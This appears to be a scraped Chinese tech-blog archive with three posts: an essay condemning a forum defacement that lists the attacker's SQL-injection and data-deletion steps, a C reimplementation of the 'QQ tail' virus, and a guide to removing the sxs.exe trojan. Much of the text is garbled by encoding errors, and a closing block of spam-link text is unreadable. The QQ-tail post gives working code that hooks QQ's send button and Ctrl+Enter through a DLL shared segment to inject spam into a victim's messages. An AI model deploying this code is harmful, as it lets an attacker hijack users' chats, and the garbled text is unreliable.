大约从今q?月䆾开始,随着用户量的增加Q很多用户反应论坛速度来慢Q这时候“黑客基?www.hackbase.com)”ؓ我提供了高速空_于是我就把bbs.janker.org攑֜了它们的服务器上Qƈ由它们负责管理和l护。其实几个月以来Q剑客网?www.janker.org)l常?DDoS所dQ一直到最q北京下了场雪后Q机房光U被压断Q导致连l几天无法访问,当时我刚好也在出差在外,没有办法Q等光纤恢复后服务器因ؓq箋q{了两q多g又出C故障Q一时无法恢复,所以我q脆www.janker.org指向了bbs.janker.orgQ以便大家仍然能够访问交,但这意味着Q只要更改了论坛的脚本就好像替换www.janker.org面Qƈ且果然有么做了,传出M成了“剑客网站被黑了Q!”,q且从留在页面上的话可以看出Q剑客网站成了爱情的牺牲品,为的是献l某某女孩以展示光客水qI那么q种所谓的黑客技术果然值得炫耀吗?让我们分析一下其黑客q程?

1、从我的论坛最下方的? 1999-2003 孤独剑客 感谢Rick提供”,判断出本论坛是“极限论坛”?
2、用目前流行的SQL注入dҎ获取论坛理员“孤独剑客”或“开心”的密码?
3、通过http://bbs.janker.org/adminq入理?
4、更攚w面所有的颜色为黑ԌQ这里主要是隐藏其换不掉的部分)
5、更换论坛的logo囄地址为http://xxx/2003111535275752.jpg Q这是替换的页面其实就是一个大囄Q?
6、删除所有的栏目和数据(最卑鄙无ȝ行ؓQ确保首|法替换的部分最)
7、删除所有管理员用户Q以辑ֈ延迟发现后页面恢复的旉Q?

从上面分析可以知道,除了发现极限论坛的SQL注入漏洞有些技巧以外,没有什么技术含量,q且q种漏洞已经Z很多Q若用心的话Q一个初中生完全可以做到Q但q不是每个h都以q么无ȝ手法dQ这p杀ZP大多Ch都可以做刎ͼ若去战场杀敌,我们会称他ؓ英雄Q但若杀自己人,他就是罪犯,删除无辜数据更是真正黑客之大忌,为大家所不耻!

说到q次更换剑客论坛(bbs.janker.org)面的styxfoxQ在不久前他更改华东师范大学主页的时候,我就惛_文章发表一下感惻I但仍然是工作J忙无法静下心来整理思\Q于是就拖了下来Q今天就要说几句了?

?001 q的中美黑客大战的红客联盟出现和媒体不断的炒做后Q国内黑客界有一U趋势,可以说是一U可怕的势Q那是有些Zؓ了出名,什么都敢做Q不道P不顾法律Q敢做其实ƈ不可怕,关键是你用在何处Q你真能把日本右的|站?*功的|站或者是分裂分子的网站黑掉、Format掉也是了,大家都会Z叫好Q遗憄是他们做不到Q乏的知识和能力注定了他们做不到。因此他们就把目标{向了国内|站Q用那些自动化的黑客工h技巧,黑到谁算谁,于是一批这L|站遭D了Q华东师范大学的主页是一个牺牲品Q再是利用一些国内黑客站Ҏ有自q立服务器无法控制安全的因素,dq些站点Q于是红客联盟、黑白网l、牛族、小凤居{就遭殃了,那么对付换不了页面的怎么办呢Q于是就DDoSQ于是天天安全网、剑客网站、安全焦点就无法讉K了,甚至嚣张到其他论坛大发言论“xxx站被我黑了”以希望出名... 遗憾的是知道真相后大家对他有的只是鄙视?

q前而言Qؓ出名而失道Lq种势有增无减Q曾有不h在QQ中问我:“我技术比U客联盟的lion强多了,Z么我没他出名?”,我无语!同时也感到悲哀Q媒体的导向害了一批h。想x的好友冰沟뀁FZK、小榕、GoodWell、天行、PP{,他们不是pȝ和管理专家就是编E高手,个个w怀l技Q若他们以那U道h丧的方式乱黑|站的话Q只需一夜整个网l肯定能闹翻了天Q但请你们看一看在国内那个被黑的国内网站上看到q他们的影子Q你们所能看到的是他们的编写的黑客软g在国外被所q泛使用q倍受赞誉Q你们看C们留名的地方都是国外反动分子的网站?

d我曾为《黑客X档案》写q“ؓ黑客正名”的序,呼吁国内不要再糟y黑客这个神圣的词语了,但遗憄是在国内仍然不少人在肆意的践t,记得国内有位E序员朋友曾写文章试问国内的所谓黑客,“你没上大学可以原谅Q但你读q几个RFCQTCP/IP|络7层的准确名称是?Windows真的很简单?Unix你知道多?信会用c写程序?... ”,不想再说了,只是惛_告那些急于成名的伪黑客Q醒醒吧Q好好学习,学真的本事,把你的安全技能用于ؓ国内企业提供安全服务Q以捍卫国的网l长城,q才是h生h值最有意义的体现Q否则等待你的也许将是冰L铁窗生?


孤独剑客
2003q?1?5?
|站Qhttp://www.janker.org
发布Q?a target="_blank">http://www.hackbase.com

Computerboy 2006-12-24 21:06 发表评论
]]>
QQַ病毒”核心技术的实现http://www.tkk7.com/computerboy/archive/2006/12/24/89784.htmlComputerboyComputerboySun, 24 Dec 2006 13:03:00 GMThttp://www.tkk7.com/computerboy/archive/2006/12/24/89784.htmlhttp://www.tkk7.com/computerboy/comments/89784.htmlhttp://www.tkk7.com/computerboy/archive/2006/12/24/89784.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/89784.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/89784.html
下面我将要讨论的Q就是QQַ病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所q的是效果基本与病毒本n一致?
_脓ַ

首先的一个最单的问题是如何添加文本。这一技术毫无秘密可aQ就是通过剪脓板向QQ消息的那个RichEdit“脓”上一句话而已。代码如下:
TCHAR g_str[] = "Ƣ迎来我的小站坐坐:www.stonecn.org    or  www.tkk7.com/computerboy";
// 函数功能Q向文本框中_脓ַ
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配内存I间
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 讄剪脓板文?
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// 释放内存I间
GlobalFree(hMem);
// _脓文本
SendMessage(hRich, WM_PASTE, 0, 0);
}

钩子

  好了Q那么下面的问题是,q段文本应该在什么时候脓呢?|上有一些研IQQַ实现的文章指出,可以用计时器来控制粘贴的旉Q类D个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
  q的是一U解决的手段Q然而它也存在着极大的局限性——计时器的间隔如何设|?也许中毒者正在打字,ַ文本“唰”的出现了…?
  然而病毒本w却不是q样子,它能够准地在你单击“发送”或按下Ctrl+Enter键的时候将文本_脓上?003q?月䆾我的一台P2曄中过毒,׃pȝ速度较慢Q所以可以很清楚地看见文本粘贴的时机?
  讲到q里Q我所陈述的这些事实一定会让n者的你说Q钩子!——对Q就是钩子,下面我所说的正是用钩子来真实地再现“QQַ病毒”的q一技术?
  首先我对钩子做一个简要的介绍Q已l熟悉钩子的朋友们可以蟩q这一Dc所谓Win32钩子QhookQƈ不是铁钩舚w那只人工再现的手臂,而是一D子E序Q它可以用来监视、检系l中的特定消息,q完成一些特定的功能。打个比Ҏ_你的E序是皇帝,Windowspȝ充当各省的E抚;至于钩子Q则可以是皇上的一个钦差。譬如皇帝下旨在全国收税Q然后派了一个钦差找到山西E抚说Q“皇上有旨,p除正常赋E外Q加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这U方法来Ҏ对待特定的E抚一PE序员也可以用钩子来捕获处理Windowspȝ中特定的消息?
  问题具体C“QQַ病毒”上边,是我们需要一个钩子,在用户单M“发送”按钮之后,_脓我们的文本。我所实现的这D钩子过EؓQ至于如何挂接这个钩子,我会在稍后说明)Q?
// 钩子q程Q监视“发送”的命o消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“发送”按?
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
  PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
  在此我对q个回调q程说明几点Q?
  1、lParam是一个指向CWPSTRUCTl构的指针,q个l构的描q如下:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
  q时候像我一LSDK fans也许会会心一W:q不是窗口回调的那四个铁杆参CQ如你所_的确是这P你甚臛_以用switch (p->message) { /* ... */ }q样的代码写成的钩子函数来全面接QQH口?
  2、g_hRich是一个全局变量Q它保存的是QQ消息文本框的句柄。这里之所以采用全局变量Q是因ؓ我无法从键盘钩子回调函数的参C获得q个句柄。至于如何获得这个句柄以及这个全局变量的特D位|,我会在稍后说明?
  3、CallNextHookEx是调用钩子链中的下一个处理过E,换了钦差׃_“十坛杏花村酒本钦差已经替皇上收下了Q现在请巡抚大h把贵省正常的赋税交上来吧。”(-_-#……)q是书写钩子函数中很重要的一个环节,如果了q一句,那么可能会导致系l的钩子铑և现错误,某些E序也会没有响应 ——事实上我在~写q个仿真E序的时候QQ当掉了几回?
  4、你也许会问Z么我捕获的是WM_COMMAND消息Q这个原因让我来用下面的SDK代码Q虽然QQ是用MFC写的Q但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系Q来说明Q?
#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调q程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
  EndDialog(hDlg, 0);
  break;
case WM_COMMAND:
  {
   switch (LOWORD(wParam))
   {
   case IDC_BTN_SENDMSG:
    // 发送消?..
    break;
   // 其它的命令按钮处理部?..
  }
}
break;
// 其它的case部分...
}
return 0;
}
  消息发送的整个q程是:当用户单M“发送”按钮后Q这个按钮的父窗口(也就是“发送消息”的对话框)会收C条WM_COMMAND的通知消息Q其?wParam的低位字Q即LOWORD(wParam)Qؓq个按钮的IDQ然后再调用代码中发送的部分Q这个过E如下图Q?

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多?
  好了Q现在这个钩子已l可以胜利地完成d了。但是请不要忘记Q有更多的用h偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中q需要挂上一个键盘钩子:
// 键盘钩子q程Q监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
  PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
  在这里唯一要解释的一点就是lParam >= 0子句。很明显q个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢Q事实上在键盘钩子的回调之中QlParam是一个很重要的参敎ͼ它包含了击键的重复次数、扫描码、扩展键标志{等的信息。其中lParam 的最高位Q?x80000000Q则表示了当前这个键是否被按下,如果q个位正在被按下Q这个位是0Q反之ؓ1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteTextQ也是_如果Lq个条gQPasteText会被调用两ơ(q同 WM_KEYUP的一ơ)?

挂接钩子和查扄?

  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子Q以及如何挂接?
  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线E。我的代码就是将q个H口的句柄传入之后来q行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻?
  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
  if (g_hRich == NULL)
   return FALSE;
  // 挂接钩子
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
  bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
  // 卸蝲钩子
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
  g_hProc = NULL;
  g_hKey = NULL;
  g_hRich = NULL;
}
return bRet;
}
  到此为止Q以上所有的代码都位于一个Hook.dll的动态链接库之中Q关于DLL我就不多介绍了,h阅MSDN上的相关资料和本文的配套源代码?
  DLL之中已经做好了所有重要的工作Q事实上q部分工作也只能由DLL来完成,q是由Windows虚拟内存机制军_的)Q我们只需要在EXE之中调用导出的SetHook函数可以了。那么,SetHook的参数如何获得呢Q请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻?
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "发?&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
  q段代码中的do-while循环是用来查找“发送消息”的H口的,QQH口的保密性越来越ZQ窗口一层套一层,找v来十分不便,所以在此感谢好?hottey的《QQ消息炸弹随想》一文省M我反复用Spy++的麻烦。我所做的Q只是把他文中的Delphi代码译成了C代码?

DLL的共享数据段

  如果你对DLL不甚了解Q那么在你读到我的配套源代码之后Q肯定会对下面这一D代码有些疑问:
// 定义׃n数据D?
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // H口q程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句?
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
  q定义了一D共享的数据D,是的Q因为我的注释已l写得很清楚了,那么׃n数据DvC什么作用呢Q在回答q个问题之前Q我请你把代码中?开头的预处理指令注释掉然后重新~译q个DLLq运行,你会发现什么?
  是的Q添加尾巴失败!
  好了Q我来解释一下这个问题。我们的q个仿真E序的EXE、DLL以及QQ的主E序事实上是下面q样一U关p:

  q个DLL需要将一个实例映到EXE的地址I间之中以供其调用,q需要将另一个实例映到QQ的地址I间之中来完成挂接钩子的工作。也是_当钩子挂接完毕之后,整个pȝ的模块中Q有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有M联系的。拿全局变量g_hRich来说Q图中左边的DLL通过EXE的传入获得了文本框的句柄Q然而如果没有共享段的话Q那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也׃现出来了Q就是ؓ了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相伹{?
  在钩子挂接成功之后,你可以通过一些有模块查看功能的进E管理器看一看,׃发现Hook.dll也位于QQ.exe的模块之中?

最后一些要说的
那个病毒我曾l是手杀的——用了一个进E查看工具就杀掉了。但是现在的“QQַ”增加了复活功能——在EXE被杀掉后QDLL会将其唤醒。我曄用我的进E查看工具分析过Q发现系l中几乎所有的q程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的q程上各插入了一个额外的复活U程Q真可谓是一石二鸟——保证EXE永远q行Q同时这个正在用中的DLL是无法被删除的。这一技术我也已l实CQ但是稳定性方面远不及病毒本n做得优秀Q故在此也就不将其写ZQ有兴趣的朋友可以参考Jeffrey Richter《Windows核心~程》的相关章节?



Computerboy 2006-12-24 21:03 发表评论
]]>
一个顽固型病毒 Auto or sxs.exehttp://www.tkk7.com/computerboy/archive/2006/12/05/85542.htmlComputerboyComputerboyTue, 05 Dec 2006 04:40:00 GMThttp://www.tkk7.com/computerboy/archive/2006/12/05/85542.htmlhttp://www.tkk7.com/computerboy/comments/85542.htmlhttp://www.tkk7.com/computerboy/archive/2006/12/05/85542.html#Feedback1http://www.tkk7.com/computerboy/comments/commentRss/85542.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/85542.html
q是一个比较顽固的病毒Q确切的说是木马Q,专门盗取别h的QQZQ?br />古h云:我的产业岂能׃人支配乎Q嘿ѝ?br />昨天在家里调试\由,能上|了Q大安兴异常,用哥们的Ud盘不小心中招?br />今天上班发现x除之Q岂知它比较固Qd电脑里常驅R?br />一开始我以ؓ是一个AutoQ也没有大的威胁Q岂知我在显C所有文件时Z问题Q?br />居然看不到它的位|。我在显C,发现他不能显C所有文Ӟ每次都自动的l你q原回去?br />
q我才发现问题的严重性,上网找了一下,说的也很多。没有具体的Ҏ?br />没有办法Q自己来吧?br />
不过发现有这样一条信息还是不错的。就是说
在系l注册表有一个值是被改动的
CheckedValue
q去看一?br />q行——regedit

HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALLQ?br />发现CheckedValue值是0Q我们知道,q个值是控制pȝ所有文件是否显C,0 Z昄Q? 为显C?br />看来果然是它的问题,删除之,重新建立一个?br />但是我徏立CheckedValue 时发现系l提C已l有一个存在,无法新徏Q但是我已经删除了?br />看来q是有问题,
q入
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run
下发现有一个值很可疑?br />uyanyh
它的地址是指向?c:\windows\system32\lienrn.exe
删除之,但是问题又来了。删除之后,它有自动出现一个,改名之后q是会自动出C个?br />怪事q年有,今年特别多?br />没有办法Q找q个值吧?br />uyanyh 搜烦注册表。终于发现它的踪q,删除之。然后按照以上方式,
新徏一个CheckedValue 的Dword值?Qgؓ1
q样pȝl于能显CZ。把 sxs.exe  ?autorun.inf。删除。系l正怺?br />虽然表面上看g个简单的东西Q但是却p了我一个半时的时间?br />


Computerboy 2006-12-05 12:40 发表评论
]]>
վ֩ģ壺 þùƷר| ޾ƷĻ| ˳77777߹ۿ| վ18ѹۿ| ߹ۿavÿո| aëƬƵۿ| ڵɫƵƵ| 츾AVպ츾| ѿ20| 1234| þwww˳_Ƭ| ޼Ӱ| vƬ߹ۿ| ƵѲ| þ޾Ʒ777С˵| AëƬ| ߹ۿ| ޾ƷA߹ۿ| ĻѲƵ| AVרAv| ӰԺѹۿ| ŷպĶ| aëƬƵ| ŮƵ| ޾ƷպһС˵| ޾Ʒھþ| ĻƵ| avѸ߳ˮ| ޼Ƶվ| ɫ͵͵͵³ۺ| Ƶѹۿ| ˮƵ߹ۿѲŸ| þþƷAV͵| èԴ߹ۿ | ĻѸ | | AVƬ| ɫƵվ| Ʒ޶| Ʒպþ| 񼶵Ӱ|